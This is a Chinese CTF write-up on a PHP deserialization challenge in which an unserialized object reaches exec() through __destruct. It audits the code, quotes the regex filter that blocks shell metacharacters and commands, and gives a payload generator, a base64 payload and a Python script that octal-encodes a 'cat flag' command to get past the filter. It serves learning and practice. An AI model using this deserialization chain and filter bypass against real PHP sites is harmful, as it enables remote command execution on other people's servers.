知识点
1.php反序列化漏洞原理。
2.php代码审计。
3.waf的绕过。
须知的php函数与关键词
1.private:对变量具有修饰作用。如public 表示全局,类内部外部子类都可以访问;private表示私有的,只有本类内部可以使用;
2.function:是用来定义函数,要注意的是当函数名前面有"__"的时候如__construct,__wakeup(),那这样的函数可能是一种特别的函数比如有可能是魔法函数。ping()像这样的前面没有下划线的函数就没有什么特殊意义就是自定义的函数。
3.__wakeup():unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,注意类中的函数也叫做方法。
4.__destruct():会在对象结束运行结束时调用。
5.$this:用来指定当前所在的对象,如$this->method就是当前对象中的method属性。
6.in_array():用来遍历的函数并进行比较,如5.in_array($this->method, array("ping"))就是比较$this->method的内容与array("ping")数组中的ping元素是否一样。
7.call_user_func_array(X,Y):是一个调用的函数,有基本的两个参数,X是本对像中的将要被调用的函数,Y传入到这个函数里面的参数。如call_user_func_array(array($this, $this->method), $this->args)就是调用array($this, $this->method)这个所指定的函数,然后把$this->args这里面的内容作为参数传递进去。
8.preg_match_all(X,Y,Z):正则表达式的比较函数Z基本的有三个参数,第一个是想要比较的内容第二个是用什么内容进行比较,第三个是数组,满足条件的就会被保存到这里。入if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)),preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/"是被比较的,是比较的内容,$pat_array满足条件的会被保存到这个数组里。
9.foreach(X,Y):用来提取数组里面的值,X就是数组,那数组里面的值会被挨个赋值给Y。如foreach($this->args as $k => $v),$this->args就是要被遍历的数组,$k便是数组的第几位$v表示这一位的值。
10.@unserialize(base64_decode($ctf)):把变量ctf的值进行base64进行解码,并反序列化。
代码审计
<?php
highlight_file(__FILE__);
class ease{
private $method; //私有变量
private $args;
function __construct($method, $args) { //把变量进行初始化
$this->method = $method;
$this->args = $args;
}
function __destruct(){ //对象运行快结束的是后会调用这个函数
if (in_array($this->method, array("ping"))) { //满足这个条件才执行下面语句
call_user_func_array(array($this, $this->method), $this->args); //用来调用ping()函数
}
}
function ping($ip){ //用来执行系统命令的函数
exec($ip, $result);
var_dump($result); //输出执行内容
}
function waf($str){ //waf过滤
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){ 反序列化后调用这个函数,
foreach($this->args as $k => $v) { //把反序列化对象中的args变量拿出来处理
$this->args[$k] = $this->waf($v); //这个args是当前类中的变量所有上面的$this->args与下面的$this->args所指代的不一样。
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
代码思路
对传来的参数进行解码,反序列化形成一个对象,触发__wakeup()函数,并将反序列化生成的对象的变量内容赋值给当前所在的类中的变量。
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
先赋值给当前类中的waf函数,看看是否满足waf函数过滤条件,若满足条件再赋值给这个数组$this->args,再通过__destruct()函数
__destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
看看反序列化对象中的method变量是否等于"ping",若等于就调用array($this, $this->method)这个函数,也就是ping()函数(因为这语句的的意思是当前类(this)中的ping()函数( $this->method内容是"ping")并将 $this->args的内容作为参数传到这个函数里面。最后执行ping()函数:
function ping($ip){
exec($ip, $result);
var_dump($result);
}
exec($ip, $result);是将$ip的内容作为系统命令执行,执行的结果放到$result中。var_dump($result);并打印出来。
操作
1.构造payload生成代码如下
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$o=new ease("ping",array("ifconfig"));
$s = serialize($o);
echo base64_encode($s);
?>
取最后代码运行结果:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo4OiJpZmNvbmZpZyI7fX0=
发现思路分析正确,现在开始绕过,用python脚本进行绕过
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
#对字符先转换为ASCII码,再转换为八进制
r = oct(ord(i))
#这个主要是为了将八进制前面的0o替换掉
r=str(r).replace("0o","")
arr.append(r)
s = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
p=s.join(arr)
print(p)
把结果再进行base64加密,然后post传入。